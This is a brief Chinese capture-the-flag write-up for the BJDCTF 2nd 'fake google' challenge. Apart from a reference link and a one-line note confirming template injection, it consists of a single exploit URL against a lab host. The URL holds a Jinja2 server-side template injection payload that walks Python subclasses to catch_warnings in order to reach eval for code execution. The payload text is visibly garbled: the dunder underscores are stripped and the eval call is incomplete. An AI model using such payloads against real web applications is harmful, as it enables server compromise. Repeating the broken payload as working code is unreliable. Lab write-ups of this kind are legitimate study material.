[BJDCTF 2nd]fake google 1

参考文章https://blog.csdn.net/u011377996/article/details/86776181

确定模块注入：


具体网址内容：
http://abcfb0f6-5bad-49f4-aadd-115d99530dba.node3.buuoj.cn/qaq?name={%%20for%20c%20in%20[].class.base.subclasses()%20%}%20{%%20if%20c.name%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.init.globals.values()%20%}%20{%%20if%20b.class%20==%20{}.class%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{{%20b%27eval%27%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}